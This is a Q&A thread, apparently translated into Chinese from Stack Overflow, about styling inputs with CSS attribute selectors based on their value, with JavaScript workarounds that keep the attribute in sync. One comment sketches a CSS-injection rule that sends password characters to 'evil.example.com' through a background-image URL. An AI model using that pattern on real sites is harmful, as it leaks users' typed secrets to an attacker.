【问题标题】:Is it possible to use an input value attribute as a CSS selector?是否可以将输入值属性用作 CSS 选择器?
【发布时间】:2022-03-16 06:28:01
【问题描述】:

是否可以使用 CSS 选择器来定位具有特定值的输入?

示例:如何根据value="United States" 定位下面的输入

<input type="text" value="United States" />

【问题讨论】:

    标签: css


    【解决方案1】:

    动态值(哦不!D;)

    正如 npup 在他的回答中解释的那样,一个简单的 css 规则将只针对属性 value,这意味着这并不涵盖 html 节点的实际值。

    JAVASCRIPT 救援!


    原答案

    是的,很有可能,使用 css 属性选择器,您可以以这种方式通过输入值引用输入:

    input[value="United States"] { color: #F90; }​
    

    • jsFiddle example

    来自参考

    • [att] 当元素设置“att”属性时匹配,无论 属性的值。

    • [att=val] 匹配元素的“att”时 属性值正好是“val”。

    • [att~=val] 表示一个元素 att 属性的值是以空格分隔的列表 单词,其中之一正是“val”。如果 "val" 包含空格, 它永远不会代表任何东西(因为这些词是由 空格)。如果 "val" 是空字符串,它永远不会代表 任何东西。

    • [att|=val] 表示带有 att 的元素 属性,它的值要么正好是“val”,要么以 “val”紧跟“-”(U+002D)。这主要是为了 允许语言子代码匹配(例如, HTML 中的元素),如 BCP 47 ([BCP47]) 或其后续版本中所述。 对于 lang(或 xml:lang)语言子码匹配,请参见 :lang 伪类。

    【讨论】:

    • 这仅适用于文本吗?我无法让它与 type="number" 一起使用。
    • @Mikey 似乎问题在于更新值时样式不会更新。这是一个示例,说明它无法按我的预期工作:jsfiddle.net/VUXLT/4
    • @Luke 我已经用 javascript 的解决方案更新了我的答案。
    • el.on("change keydown keypress keyup", run); 会不会比设置超时更好?
    • @SamHasler 可能,但我不确定change 是否考虑到可以修改值的不同方式的数量
    【解决方案2】:

    如果您使用的浏览器支持 CSS :valid pseudo-classpattern validation attribute on inputs(包括除 IE9 之外的大多数现代浏览器), 是可能的。

    例如,在输入正确答案时将输入文本从黑色更改为绿色:

    input {
      color: black;
    }
    input:valid {
      color: green;
    }
    <p>Which country has fifty states?</p>
    
    <input type="text" pattern="^United States$">

    【讨论】:

    • 这比基于input[value] 的解决方案要好得多,因为它会在您键入时验证模式,因此会即时应用样式。
    • 有没有办法添加更多模式?
    【解决方案3】:

    是的,但请注意:由于属性选择器(当然)以元素的 attribute 为目标,而不是 DOM 节点的 value 属性 (elem.value),因此它不会在更新表单字段时更新。

    否则(有一些技巧)我认为它可以被用来做一个 CSS-only 替代“占位符”属性/功能。也许这就是OP所追求的? :)

    【讨论】:

    • 这就是我所追求的。不过这是有道理的。浏览器仅在渲染元素时评估 css 规则,并且更改值不会导致输入重新渲染。
    • @SamHasler 下面是一个在加载时改变值和选择样式的示例:jsfiddle.net/bJMHC 我相信问题完全在于 npop 提出的第一点。
    • @Mikey,如果您直接更改输入,它不会更新。解决方案似乎是在输入值更改时更新属性:jsfiddle.net/8u4AC
    • @SamHasler 查看我更新的答案,顶部有一个全局解决方法:)
    【解决方案4】:

    如前所述,您需要的不仅仅是一个 css 选择器,因为它不访问节点的存储值,因此绝对需要 javascript。这是另一种可能的解决方案:

    <style>
    input:not([value=""]){
    border:2px solid red;
    }
    </style>
    
    <input type="text" onkeyup="this.setAttribute('value', this.value);"/>
    

    【讨论】:

    • 使用oninput 代替onkeyup 可能会有好处,尤其是当您怀疑某些用户可能使用复制/粘贴时。
    【解决方案5】:

    当然,试试:

    input[value="United States"]{ color: red; }
    

    jsFiddle example.

    【讨论】:

    • 有趣的是,如果您更改 HTML 以使用不同的值(例如“中国”)初始化输入字段,然后手动(在 HTML 表单中)将其更改为“美国”,则 CSS 规则永远不会被调用。
    • 这就是我想听到的!有效!就我而言,我的按钮值不会改变,所以这就是我所需要的。谢谢。
    • 我想知道是否可以嗅探用户的输入是否可以将恶意 CSS 注入站点。例如input[value|="a"] {background: url("https://evil.example.com/password-starts-with-a--1pixel-transparent.png")}
    • @علیرضا 我认为键盘记录器不起作用,因为就像 kmoser 所说,规则只匹配 html 中的初始硬编码值,而不匹配最终用户输入的内容。
    • @QiFan ????
    【解决方案6】:

    你可以使用 Css3 属性选择器或属性值选择器。

    /这将使所有值被定义为红色的输入/

    input[value]{
    color:red;
    }
    

    /这将根据输入值进行条件选择/

    input[value="United States"]{
    color:red;
    } 
    

    还有其他属性选择器,比如属性包含值选​​择器,

    input[value="United S"]{
    color: red;
    }
    

    这仍然会将美国的任何输入作为红色文本。

    比我们属性值以选择器开头

    input[value^='united']{
    color: red;
    }
    

    任何以 'united' 开头的输入文本都会显示为红色

    最后一个是属性值以选择器结尾

    input[value$='States']{
    color:red;
    }
    

    任何以 'States' 结尾的输入值都将具有红色字体颜色

    【讨论】:

      【解决方案7】:

      刷新事件的属性是比每十分之一秒扫描一次值更好的方法...

      http://jsfiddle.net/yqdcsqzz/3/

      inputElement.onchange = function()
      {
          this.setAttribute('value', this.value);
      };
      
      inputElement.onkeyup = function()
      {
          this.setAttribute('value', this.value);
      };
      

      【讨论】:

        【解决方案8】:

        在 Chrome 72 (2019-02-09) 中,我发现 :in-range 属性应用于空的 date 输入,出于某种原因!

        所以这对我有用:(我添加了 :not([max]):not([min]) 选择器以避免破坏日期输入,确实应用了范围:

        input[type=date]:not([max]):not([min]):in-range {
            color: blue;
        }
        

        截图:



        这是一个可运行的示例:

        window.addEventListener( 'DOMContentLoaded', onLoad );
        
        function onLoad() {
            
            document.getElementById( 'date4' ).value = "2019-02-09";
            
            document.getElementById( 'date5' ).value = null;
            
        }
        label {
            display: block;
            margin: 1em;
        }
        
        input[type=date]:not([max]):not([min]):in-range {
            color: blue;
        }
        <label>
            <input type="date" id="date1" />
            Without HTML value=""
        </label>
            
        <label>
            <input type="date" id="date2" value="2019-02-09" />
            With HTML value=""
        </label>
        
        <label>
            <input type="date" id="date3" />
            Without HTML value="" but modified by user
        </label>
            
        <label>
            <input type="date" id="date4" />
            Without HTML value="" but set by script
        </label>
            
        <label>
            <input type="date" id="date5" value="2019-02-09" />
            With HTML value="" but cleared by script
        </label>

        【讨论】:

          【解决方案9】:

          按照当前投票最多的答案,我发现使用数据集/数据属性效果很好。

          //Javascript
          
          const input1 = document.querySelector("#input1");
          input1.value = "0.00";
          input1.dataset.value = input1.value;
          //dataset.value will set "data-value" on the input1 HTML element
          //and will be used by CSS targetting the dataset attribute
          
          document.querySelectorAll("input").forEach((input) => {
            input.addEventListener("input", function() {
              this.dataset.value = this.value;
              console.log(this);
            })
          })
          /*CSS*/
          
          input[data-value="0.00"] {
            color: red;
          }
          <!--HTML-->
          
          <div>
            <p>Input1 is programmatically set by JavaScript:</p>
            <label for="input1">Input 1:</label>
            <input id="input1" value="undefined" data-value="undefined">
          </div>
          <br>
          <div>
            <p>Try typing 0.00 inside input2:</p>
            <label for="input2">Input 2:</label>
            <input id="input2" value="undefined" data-value="undefined">
          </div>

          【讨论】:

          • 非常优雅:-)
          • 我……不明白。为什么要复制值而不是使用内置的值属性(其搜索由本机代码加速)
          猜你喜欢
          • 1970-01-01
          • 2013-05-10
          • 2013-09-24
          • 2019-09-08
          • 2011-10-16
          • 2012-06-19
          • 1970-01-01
          • 2011-04-20
          • 2011-06-27
          相关资源
          最近更新 更多